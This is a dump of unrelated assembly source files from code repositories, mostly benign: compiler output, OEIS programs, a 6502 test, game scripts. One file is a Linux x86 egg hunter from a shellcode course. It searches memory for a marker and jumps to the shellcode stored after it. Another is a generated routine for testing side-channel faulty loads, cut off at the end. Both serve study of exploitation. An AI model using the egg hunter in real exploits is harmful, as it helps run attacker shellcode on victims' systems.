Assignment 3/egg_hunter.asm
dtyj/SLAE-x86
56c00f44ee448711aa2bc045e2cf689b877d31fd
[ "CC0-1.0" ]
null
null
null
Assignment 3/egg_hunter.asm
dtyj/SLAE-x86
56c00f44ee448711aa2bc045e2cf689b877d31fd
[ "CC0-1.0" ]
null
null
null
Assignment 3/egg_hunter.asm
dtyj/SLAE-x86
56c00f44ee448711aa2bc045e2cf689b877d31fd
[ "CC0-1.0" ]
null
null
null
; egg_hunter.asm ; ; Author: Dennis Tan ; Date: 06-June-2020 global _start section .text: _start: xor edx, edx ; clear edx register next_page: ; set 4096 bytes pagefile for linux environment or dx, 0xfff ; used 0xfff and inc due to NULL bytes next_addr: ; int access(const char *pathname, int mode); inc edx ; edx to 4096 push byte 0x21 ; push 0x21 to stack pop eax ; pop 0x21 to eax lea ebx, [edx + 0x4] ; loads the next 8 byte's address into ebx int 0x80 ; invoke syscall for access cmp al, 0xf2 ; compare the return value of the syscall to EFAULT jz next_page ; if EFAULT is returned jump to next_page mov eax, 0xdeaddead ; our 4-byte egg mov edi, edx ; writable page will be stored in edx scasd ; cmopares [edi] to first 4-byte of our egg jnz next_addr ; if egg is not found go to next_addr scasd ; compares [edi] to the last 4 bytes of our egg jnz next_addr ; if egg is not found go to next_addr jmp edi ; execute shellcode
37.394737
91
0.487685
9beb8f027d818b5af10ca35660be53bd38946978
1,508
asm
Assembly
system/book_csapp/proc_call.asm
larryjiang/cs_study
cf11576efe90282bd38ff00a789ec950de8a66a4
[ "MIT" ]
null
null
null
system/book_csapp/proc_call.asm
larryjiang/cs_study
cf11576efe90282bd38ff00a789ec950de8a66a4
[ "MIT" ]
null
null
null
system/book_csapp/proc_call.asm
larryjiang/cs_study
cf11576efe90282bd38ff00a789ec950de8a66a4
[ "MIT" ]
null
null
null
.file "proc_call.c" .text .globl swap_add .type swap_add, @function swap_add: .LFB0: .cfi_startproc pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 movq %rsp, %rbp .cfi_def_cfa_register 6 movq %rdi, -24(%rbp) movq %rsi, -32(%rbp) movq -24(%rbp), %rax movl (%rax), %eax movl %eax, -8(%rbp) movq -32(%rbp), %rax movl (%rax), %eax movl %eax, -4(%rbp) movl -8(%rbp), %eax cmpl -4(%rbp), %eax je .L2 sall -8(%rbp) .L2: movq -24(%rbp), %rax movl -4(%rbp), %edx movl %edx, (%rax) movq -32(%rbp), %rax movl -8(%rbp), %edx movl %edx, (%rax) movl -8(%rbp), %edx movl -4(%rbp), %eax addl %edx, %eax popq %rbp .cfi_def_cfa 7, 8 ret .cfi_endproc .LFE0: .size swap_add, .-swap_add .globl caller .type caller, @function caller: .LFB1: .cfi_startproc pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 movq %rsp, %rbp .cfi_def_cfa_register 6 subq $32, %rsp movq %fs:40, %rax movq %rax, -8(%rbp) xorl %eax, %eax movl $534, -24(%rbp) movl $1057, -20(%rbp) leaq -20(%rbp), %rdx leaq -24(%rbp), %rax movq %rdx, %rsi movq %rax, %rdi call swap_add movl %eax, -16(%rbp) movl -24(%rbp), %edx movl -20(%rbp), %eax subl %eax, %edx movl %edx, %eax movl %eax, -12(%rbp) movl -16(%rbp), %eax imull -12(%rbp), %eax movq -8(%rbp), %rcx xorq %fs:40, %rcx je .L6 call __stack_chk_fail .L6: leave .cfi_def_cfa 7, 8 ret .cfi_endproc .LFE1: .size caller, .-caller .ident "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609" .section .note.GNU-stack,"",@progbits
18.168675
61
0.621353
e083f79a6005b5b028e71bd0df6202fe2612eb22
473
asm
Assembly
oeis/142/A142243.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142243.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142243.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142243: Triangle T(n,k) = binomial(2*n,k) *binomial(2*n-2*k,n-k), read by rows; 0<=k<=n. ; Submitted by Jon Maiga ; 1,2,2,6,8,6,20,36,30,20,70,160,168,112,70,252,700,900,720,420,252,924,3024,4620,4400,2970,1584,924,3432,12936,22932,25480,20020,12012,6006,3432,12870,54912,110880,141120,127400,87360,48048,22880,12870,48620 lpb $0 add $1,1 sub $0,$1 mov $2,$1 sub $2,$0 lpe mul $1,2 bin $1,$0 mov $0,2 mul $0,$2 bin $0,$2 mul $1,16 mul $1,$0 mov $0,$1 div $0,16
23.65
208
0.655391
be7b08267d604d9d29bd54fb5baa872fc258f8f5
4,302
asm
Assembly
src/test/ref/test-signed-word-minus-byte.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/test-signed-word-minus-byte.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/test-signed-word-minus-byte.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Tests subtracting bytes from signed words // Commodore 64 PRG executable file .file [name="test-signed-word-minus-byte.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .label print_screen = $400 .label print_line_cursor = 4 .label print_char_cursor = 2 .segment Code main: { .label w2 = $b .label w1 = 8 .label i = $a // print_cls() jsr print_cls lda #0 sta.z i lda #<print_screen sta.z print_line_cursor lda #>print_screen sta.z print_line_cursor+1 lda #<print_screen sta.z print_char_cursor lda #>print_screen sta.z print_char_cursor+1 lda #<$4d2 sta.z w1 lda #>$4d2 sta.z w1+1 __b1: // signed word w2 = w1 - 91 lda.z w1 sec sbc #$5b sta.z w2 lda.z w1+1 sbc #>$5b sta.z w2+1 // w1 = w2 - 41 lda.z w2 sec sbc #$29 sta.z w1 lda.z w2+1 sbc #>$29 sta.z w1+1 // print_sint(w1) lda.z w1 sta.z print_sint.w lda.z w1+1 sta.z print_sint.w+1 jsr print_sint // print_char(' ') lda #' ' jsr print_char // print_sint(w2) lda.z w2 sta.z print_sint.w lda.z w2+1 sta.z print_sint.w+1 jsr print_sint // print_ln() jsr print_ln // for( byte i: 0..10 ) inc.z i lda #$b cmp.z i bne __b6 // } rts __b6: lda.z print_line_cursor sta.z print_char_cursor lda.z print_line_cursor+1 sta.z print_char_cursor+1 jmp __b1 } // Clear the screen. Also resets current line/char cursor. print_cls: { // memset(print_screen, ' ', 1000) jsr memset // } rts } // Print a signed int as HEX // void print_sint(__zp(6) int w) print_sint: { .label w = 6 // if(w<0) lda.z w+1 bmi __b1 // print_char(' ') lda #' ' jsr print_char __b2: // print_uint((unsigned int)w) jsr print_uint // } rts __b1: // print_char('-') lda #'-' jsr print_char // w = -w lda #0 sec sbc.z w sta.z w lda #0 sbc.z w+1 sta.z w+1 jmp __b2 } // Print a single char // void print_char(__register(A) char ch) print_char: { // *(print_char_cursor++) = ch ldy #0 sta (print_char_cursor),y // *(print_char_cursor++) = ch; inc.z print_char_cursor bne !+ inc.z print_char_cursor+1 !: // } rts } // Print a newline print_ln: { __b1: // print_line_cursor + $28 lda #$28 clc adc.z print_line_cursor sta.z print_line_cursor bcc !+ inc.z print_line_cursor+1 !: // while (print_line_cursor<print_char_cursor) lda.z print_line_cursor+1 cmp.z print_char_cursor+1 bcc __b1 bne !+ lda.z print_line_cursor cmp.z print_char_cursor bcc __b1 !: // } rts } // Copies the character c (an unsigned char) to the first num characters of the object pointed to by the argument str. // void * memset(void *str, char c, unsigned int num) memset: { .const c = ' ' .const num = $3e8 .label str = print_screen .label end = str+num .label dst = 6 lda #<str sta.z dst lda #>str sta.z dst+1 __b1: // for(char* dst = str; dst!=end; dst++) lda.z dst+1 cmp #>end bne __b2 lda.z dst cmp #<end bne __b2 // } rts __b2: // *dst = c lda #c ldy #0 sta (dst),y // for(char* dst = str; dst!=end; dst++) inc.z dst bne !+ inc.z dst+1 !: jmp __b1 } // Print a unsigned int as HEX // void print_uint(__zp(6) unsigned int w) print_uint: { .label w = 6 // print_uchar(BYTE1(w)) ldx.z w+1 jsr print_uchar // print_uchar(BYTE0(w)) ldx.z w jsr print_uchar // } rts } // Print a char as HEX // void print_uchar(__register(X) char b) print_uchar: { // b>>4 txa lsr lsr lsr lsr // print_char(print_hextab[b>>4]) tay lda print_hextab,y // Table of hexadecimal digits jsr print_char // b&$f lda #$f axs #0 // print_char(print_hextab[b&$f]) lda print_hextab,x jsr print_char // } rts } .segment Data print_hextab: .text "0123456789abcdef"
18.951542
118
0.579265
dc3f784bff6af76f13d65b2701b2eb5704c866e4
388
asm
Assembly
libsrc/_DEVELOPMENT/math/float/am9511/lam32/z80/asm_floorf.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/z80/asm_floorf.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/z80/asm_floorf.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; float _floorf (float number) __z88dk_fastcall SECTION code_clib SECTION code_fp_am9511 PUBLIC asm_floorf EXTERN asm_am9511_floor_fastcall ; Takes the closest lower integer ; ; enter : stack = ret ; DEHL = sccz80_float number ; ; exit : DEHL = floor(sccz80_float) ; ; uses : af, bc, de, hl defc asm_floorf = asm_am9511_floor_fastcall
18.47619
47
0.67268
82a41aa8d1bd581acb16ff1d1b58ba1ecd3ec9fb
6,188
asm
Assembly
Source/Levels/L1301.asm
AbePralle/FGB
52f004b8d9d4091a2a242a012dc8c1f90d4c160d
[ "MIT" ]
null
null
null
Source/Levels/L1301.asm
AbePralle/FGB
52f004b8d9d4091a2a242a012dc8c1f90d4c160d
[ "MIT" ]
null
null
null
Source/Levels/L1301.asm
AbePralle/FGB
52f004b8d9d4091a2a242a012dc8c1f90d4c160d
[ "MIT" ]
null
null
null
; L1301.asm map view ; Generated 02.22.2001 by mlevel ; Modified 02.22.2001 by Abe Pralle INCLUDE "Source/Defs.inc" INCLUDE "Source/Levels.inc" VAR_MAPI EQU 0 VAR_MAPJ EQU 1 ;--------------------------------------------------------------------- SECTION "Level1301Section",ROMX ;--------------------------------------------------------------------- fgbmap_bg: INCBIN "Data/Cinema/Appomattox/fgbmap_big.bg" L1301_Contents:: DW L1301_Load DW L1301_Init DW L1301_Check DW L1301_Map ;--------------------------------------------------------------------- ; Load ;--------------------------------------------------------------------- L1301_Load: DW ((L1301_LoadFinished - L1301_Load2)) ;size L1301_Load2: ld a,BANK(fgbmap_bg) ld hl,fgbmap_bg call LoadCinemaBG ld a,[appomattoxMapIndex] cp $b7 jp z,((.onSpaceStation-L1301_Load2)+levelCheckRAM) ;ld a,LEVELSTATEBANK ;ldio [$ff70],a ;ld a,[levelState+$2e] ;off moon yet? ;or a ;jp z,((.onMoon-L1301_Load2)+levelCheckRAM) ;clear unvisited zones ld a,LEVELSTATEBANK ldio [$ff70],a ld hl,$d000 ld b,0 .outer ld c,0 .inner ld a,b ;a = b*16 + c swap a or c ld d,((levelState>>8)&$ff) ld e,a ld a,[de] or a jr nz,.continue ld a,TILESHADOWBANK ldio [$ff70],a push hl ld de,61 xor a ld [hl+],a ld [hl+],a ld [hl+],a add hl,de ld [hl+],a ld [hl+],a ld [hl+],a add hl,de ld [hl+],a ld [hl+],a ld [hl+],a pop hl ld a,LEVELSTATEBANK ldio [$ff70],a .continue inc hl inc hl inc hl inc c ld a,c cp 11 jr nz,.inner ld de,64*3-33 add hl,de inc b ld a,b cp 11 jr nz,.outer .findMapIndex ;figure out map index ld a,[appomattoxMapIndex] cp $c7 jr nz,.notFarmLanding ld a,$31 .notFarmLanding ld b,a and %1111 ld c,a ;*3 rlca add c ld [levelVars+VAR_MAPI],a ld [camera_i],a ld c,a cp 9 jr c,.afterSub9 ld c,9 .afterSub9 sub c ld [mapLeft],a ld a,b swap a and %1111 ld c,a ;*3 rlca add c ld [levelVars+VAR_MAPJ],a ld [camera_j],a ld c,a cp 8 jr c,.afterSub8 ld c,8 .afterSub8 sub c ld [mapTop],a ;constrain horizontal ld a,[levelVars+VAR_MAPI] cp 23 jr c,.hokay ld a,22 ld [levelVars+VAR_MAPI],a ld a,13 ld [mapLeft],a .hokay ;constrain vertical ld a,[levelVars+VAR_MAPJ] cp 24 jr c,.vokay ld a,23 ld [levelVars+VAR_MAPJ],a ld a,15 ld [mapTop],a .vokay ld a,15 call SetupFadeFromStandard .loop ld a,1 call Delay ld a,[myJoy] ld b,a ld a,[levelVars+VAR_MAPI] ld [camera_i],a ld a,[levelVars+VAR_MAPJ] ld [camera_j],a .checkLeft xor a bit JOY_LEFT_BIT,b jr z,.checkUp ld [camera_i],a .checkUp bit JOY_UP_BIT,b jr z,.checkRight ld [camera_j],a .checkRight ld a,22 bit JOY_RIGHT_BIT,b jr z,.checkDown ld [camera_i],a .checkDown bit JOY_DOWN_BIT,b jr z,.checkExit ld a,23 ld [camera_j],a .checkExit ld a,b and (JOY_A | JOY_B | JOY_START) jr z,.loop .exit ld a,15 call SetupFadeToStandard call WaitFade LDHL_CURHERODATA HERODATA_ENTERDIR ld a,EXIT_W ld [hl],a ld hl,$1300 ld a,l ld [curLevelIndex],a ld a,h ld [curLevelIndex+1],a ld a,1 ld [timeToChangeLevel],a ret .onSpaceStation ld a,BANK(station_tactical_bg) ld hl,station_tactical_bg call LoadCinemaBG jr .loadAlternate .onMoon ld a,BANK(moontact_bg) ld hl,moontact_bg call LoadCinemaBG .loadAlternate ld a,15 call SetupFadeFromStandard .waitExit ld a,1 call Delay ld a,[myJoy] and (JOY_A | JOY_B | JOY_START) jr z,.waitExit jr .exit L1301_LoadFinished: ;--------------------------------------------------------------------- ; Map ;--------------------------------------------------------------------- L1301_Map: ;--------------------------------------------------------------------- ; Init ;--------------------------------------------------------------------- L1301_Init: DW ((L1301_InitFinished - L1301_Init2)) ;size L1301_Init2: ret L1301_InitFinished: ;--------------------------------------------------------------------- ; Check ;--------------------------------------------------------------------- L1301_Check: DW ((L1301_CheckFinished - L1301_Check2)) ;size L1301_Check2: ret L1301_CheckFinished: PRINT "1301 Script Sizes (Load/Init/Check) (of $500): " PRINT (L1301_LoadFinished - L1301_Load2) PRINT " / " PRINT (L1301_InitFinished - L1301_Init2) PRINT " / " PRINT (L1301_CheckFinished - L1301_Check2) PRINT "\n"
23.618321
70
0.404493
f01c7ce9f677c070a602653cf532b38fa916cb1a
283
asm
Assembly
ffight/lcs/weapon/7C.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
ffight/lcs/weapon/7C.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
ffight/lcs/weapon/7C.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 003320 rts [1p+7C, boss+7C, container+7C, enemy+7C, weapon+7C] 003346 rts [1p+7C, boss+7C, enemy+7C, weapon+7C] 0039F6 movem.l D0-D3, -(A6) 009ACA dbra D5, $9ac8 copyright zengfr site:http://github.com/zengfr/romhack
31.444444
63
0.717314
4e796c0893b21f61d102f79e82dc086817ecab9d
1,580
asm
Assembly
programs/oeis/124/A124434.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/124/A124434.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/124/A124434.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A124434: LCM (least common multiple) of A001043 (sum of consecutive primes) and A001223 (difference of consecutive primes). ; 5,8,12,36,24,60,36,84,156,60,204,156,84,180,300,336,120,384,276,144,456,324,516,744,396,204,420,216,444,1680,516,804,276,1440,300,924,960,660,1020,1056,360,1860,384,780,396,2460,2604,900,456,924,1416,480,2460,1524,1560,1596,540,1644,1116,564,2880,4200,1236,624,1260,4536,2004,3420,696,1404,2136,2904,2220,2256,1524,2316,3144,1596,3240,4140,840,4260,864,2616,1764,2676,3624,1836,924,1860,5676,3864,1956,3960,2004,3036,6180,1044,9576,3264,5520,3360,3396,1140,3444,5820,3540,3576,1200,3624,3660,2460,1236,7500,6360,1284,2580,3900,3936,1320,8004,2700,4080,5496,6960,5640,7140,5784,4380,4416,2964,5976,4524,3036,6120,3084,10920,7920,9636,1620,8160,1644,3300,1656,8340,11844,3420,1716,3444,12180,3516,1764,3540,17940,3636,7320,9240,7464,3756,5664,5700,13440,3876,5844,5880,7896,5964,12036,4044,6096,2040,10260,2064,6216,10440,2100,10560,2124,6396,19404,4356,2184,4380,6600,6636,8904,6720,6756,25080,2304,11580,9336,11760,7104,7140,9576,14484,4860,7320,7356,2460,7404,14916,12540,22824,2556,5124,7716,2580,7764,5196,2604,5220,15756,2640,7944,45696,8184,8220,11016,25020,14040,19824,5700,2856,5724,8616,11544,5796,2904,8736,17580,14760,2964,5940,2976,5964,8976,18060,18204,12216,18444,9276,6204,9336,12504,6276,12600,6324,22260 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 add $0,1 trn $0,2 cal $0,66885 ; a(n) = (prime(n)^2 + 1)/2. mov $2,$3 mov $4,$0 lpb $2 mov $1,$4 sub $2,1 lpe lpe lpb $5 sub $1,$4 mov $5,0 lpe
65.833333
1,221
0.743671
4f452f159bc15f04559781f4247e6fe2e4f5cdc4
3,894
asm
Assembly
src/drivers/pci/pci_helpers.asm
pwk4m1/TinyBIOS
f9f0ec8b725717cac1756836cf68267e0ed77114
[ "BSD-3-Clause" ]
23
2019-09-28T17:33:32.000Z
2022-03-26T20:30:22.000Z
src/drivers/pci/pci_helpers.asm
pwk4m1/TinyBIOS
f9f0ec8b725717cac1756836cf68267e0ed77114
[ "BSD-3-Clause" ]
null
null
null
src/drivers/pci/pci_helpers.asm
pwk4m1/TinyBIOS
f9f0ec8b725717cac1756836cf68267e0ed77114
[ "BSD-3-Clause" ]
1
2022-03-24T13:12:04.000Z
2022-03-24T13:12:04.000Z
; BSD 3-Clause License ; ; Copyright (c) 2020, k4m1 <k4m1@protonmail.com> ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; * Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; ; * Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; ; * Neither the name of the copyright holder nor the names of its ; contributors may be used to endorse or promote products derived from ; this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR ; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR ; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, ; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, ; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR ; PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF ; LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING ; NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ; This file implements helper functions etc regarding PCI bus, such as ; device recongnizion etc. ; %ifndef PCI_HELPER %define PCI_HELPER %define ENABLE 0x0000 %define DISABLE 0x0001 ; ======================================================================== ; ; helper functions regarding pci configuration command register ; ; all these require si to point to bus/slot/function/offset structure. ; [si] = bus ; [si+4] = slot ; [si+8] = function ; [si+12] = offset ; ; cx = command bit ; bl = 0 for disable, 1 for enable ; ======================================================================== ; pci_cmd_write: push bp mov bp, sp push eax mov eax, dword [si+12] push eax mov dword [si+12], 4 ; status & command are at offset 4 call pci_config_inl test bl, bl jz .disable or ax, cx call pci_config_outl .done: pop eax mov dword [si+12], eax pop eax mov sp, bp pop bp ret .disable: xor cx, 0xffff ; flip the value around, each 0 to 1 and 1 to 0. and ax, cx call pci_config_outl jmp .done ; ======================================================================== ; ; helper functions regarding pci configuration status register ; ; all these require si to point to bus/slot/function/offset structure. ; [si] = bus ; [si+4] = slot ; [si+8] = function ; [si+12] = offset ; ; sets ax = status register content ; trashes = high 16 bits of eax ; ======================================================================== ; pci_stat_read: push bp mov bp, sp push ebx mov eax, dword [si+12] push eax mov dword [si+12], 4 call pci_config_inl shr eax, 16 pop ebx mov dword [si+12], ebx pop ebx mov sp, bp pop bp ret ; The macro below are used to help/ease developing pci driver code. ; All of the macros require [si] to be set up as pci_cmd_write needs it to be. ; PCI_CMD(PCI_CMD_XX, ENABLE/DISABLE) ; ; Refer to pci_core.asm to see PCI_CMD_ definitions. ; %macro PCI_CMD 2 push cx push bx mov cx, %0 mov bx, %1 call pci_cmd_write pop bx pop cx %endmacro ; Macro to get pci status, sets carry flag if bit is *NOT* set. ; Usage: ; PCI_STAT(PCI_STAT_XXX) ; %macro PCI_STAT 1 push eax clc call pci_stat_read test ax, %1 jnz $ + 2 stc pop eax %endmacro %endif ; PCI_HELPER
28.014388
78
0.663071
d2e07460e1e0f125224e46bf92b10f4ace65cde4
141
asm
Assembly
test/s/ext/extOp.asm
rolf0504/c2verilog
835f8453841c9090b7431354bf97f07b4ff92c1f
[ "MIT" ]
252
2018-11-09T07:48:20.000Z
2022-03-08T04:33:29.000Z
test/s/ext/extOp.asm
rolf0504/c2verilog
835f8453841c9090b7431354bf97f07b4ff92c1f
[ "MIT" ]
1
2019-07-18T20:37:51.000Z
2019-07-31T02:20:31.000Z
test/s/ext/extOp.asm
rolf0504/c2verilog
835f8453841c9090b7431354bf97f07b4ff92c1f
[ "MIT" ]
95
2019-01-11T03:32:43.000Z
2022-03-19T08:28:18.000Z
@main 0;JMP (str) "hello!", 0 (f1) 3.14159 (i1) 47 // (cstr) "中文字串", 0 (main) @3 D=A @5 D=D*A @0 M=D D=D*M @0 (label) D=D*A @str D=A @2 swi
6.130435
19
0.51773
11cefa9a8ab0321ae0b2f3aa0dfe07c07d8fc2e4
769
asm
Assembly
oeis/192/A192920.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/192/A192920.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/192/A192920.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A192920: Coefficient of x in the reduction by (x^2 -> x+1) of the polynomial F(n+4)*x^n, where F=A000045 (Fibonacci sequence). ; Submitted by Jon Maiga ; 0,5,8,26,63,170,440,1157,3024,7922,20735,54290,142128,372101,974168,2550410,6677055,17480762,45765224,119814917,313679520,821223650,2149991423,5628750626,14736260448,38580030725,101003831720,264431464442,692290561599,1812440220362,4745030099480,12422650078085,32522920134768,85146110326226,222915410843903,583600122205490,1527884955772560,4000054745112197,10472279279564024,27416783093579882,71778070001175615,187917426909946970,491974210728665288,1288005205276048901,3372041405099481408 mov $2,2 lpb $0 sub $0,1 add $1,$4 add $2,3 mov $3,$2 add $4,$1 add $1,$2 add $2,$4 mov $4,$3 lpe mov $0,$3
45.235294
489
0.793238
ae456e0e03c591e17a7e00e48cdafd1173d133ac
8,385
asm
Assembly
Transynther/x86/_processed/NONE/_ht_st_zr_un_/i7-7700_9_0xca.log_21829_1697.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_ht_st_zr_un_/i7-7700_9_0xca.log_21829_1697.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_ht_st_zr_un_/i7-7700_9_0xca.log_21829_1697.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_UC_ht+0x36d, %rsi inc %rcx mov $0x6162636465666768, %r9 movq %r9, %xmm5 vmovups %ymm5, (%rsi) nop nop nop nop nop add %r13, %r13 lea addresses_D_ht+0x1a1fd, %r14 nop nop sub %r10, %r10 movl $0x61626364, (%r14) nop nop nop nop nop and %r9, %r9 lea addresses_WT_ht+0x239d, %r10 clflush (%r10) nop inc %r9 vmovups (%r10), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %rsi nop nop nop sub %r10, %r10 lea addresses_WT_ht+0x165dd, %rsi lea addresses_normal_ht+0xb57d, %rdi nop nop cmp %r14, %r14 mov $98, %rcx rep movsb nop nop nop nop and $40563, %rdi lea addresses_WT_ht+0x6dfd, %r9 nop nop nop nop and $474, %rdi movl $0x61626364, (%r9) nop inc %rdi lea addresses_A_ht+0x6d7d, %r9 clflush (%r9) sub %rcx, %rcx movw $0x6162, (%r9) nop nop nop nop nop sub %r10, %r10 lea addresses_UC_ht+0xd97d, %r10 nop nop nop add %r15, %r15 mov $0x6162636465666768, %r14 movq %r14, %xmm0 movups %xmm0, (%r10) nop nop nop dec %rdi lea addresses_UC_ht+0x8e1d, %rsi lea addresses_WT_ht+0x17bd, %rdi nop nop nop nop nop add %r13, %r13 mov $111, %rcx rep movsq nop nop nop nop and $37116, %rcx lea addresses_normal_ht+0x13db5, %rsi lea addresses_D_ht+0xfd7d, %rdi nop nop nop nop nop xor $32012, %r13 mov $81, %rcx rep movsl nop nop nop and $26680, %rsi lea addresses_normal_ht+0x797d, %rsi lea addresses_UC_ht+0x937d, %rdi nop nop nop nop inc %r13 mov $7, %rcx rep movsb nop nop nop nop cmp $23633, %r9 lea addresses_normal_ht+0xd625, %rdi nop nop nop nop add %r14, %r14 movw $0x6162, (%rdi) nop nop nop nop sub $65281, %r15 lea addresses_normal_ht+0x1111, %rsi lea addresses_WT_ht+0xd57d, %rdi nop nop inc %r15 mov $103, %rcx rep movsl nop nop nop nop nop sub $52538, %r10 lea addresses_WT_ht+0xa474, %r13 nop nop xor $19779, %rdi vmovups (%r13), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %r9 nop nop nop nop cmp %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r9 push %rbp push %rdi push %rdx // Store lea addresses_normal+0x4f7d, %rdi clflush (%rdi) nop nop nop nop nop cmp %r11, %r11 mov $0x5152535455565758, %r13 movq %r13, %xmm1 vmovups %ymm1, (%rdi) add %rdi, %rdi // Store lea addresses_US+0x3341, %r14 nop xor %rdx, %rdx mov $0x5152535455565758, %rdi movq %rdi, (%r14) nop xor %rdi, %rdi // Store lea addresses_US+0xe97d, %rdi nop nop cmp $52274, %r9 movw $0x5152, (%rdi) xor %rbp, %rbp // Faulty Load lea addresses_WT+0x1d7d, %r11 nop nop nop nop cmp $12226, %rdi movups (%r11), %xmm0 vpextrq $0, %xmm0, %r13 lea oracles, %r11 and $0xff, %r13 shlq $12, %r13 mov (%r11,%r13,1), %r13 pop %rdx pop %rdi pop %rbp pop %r9 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 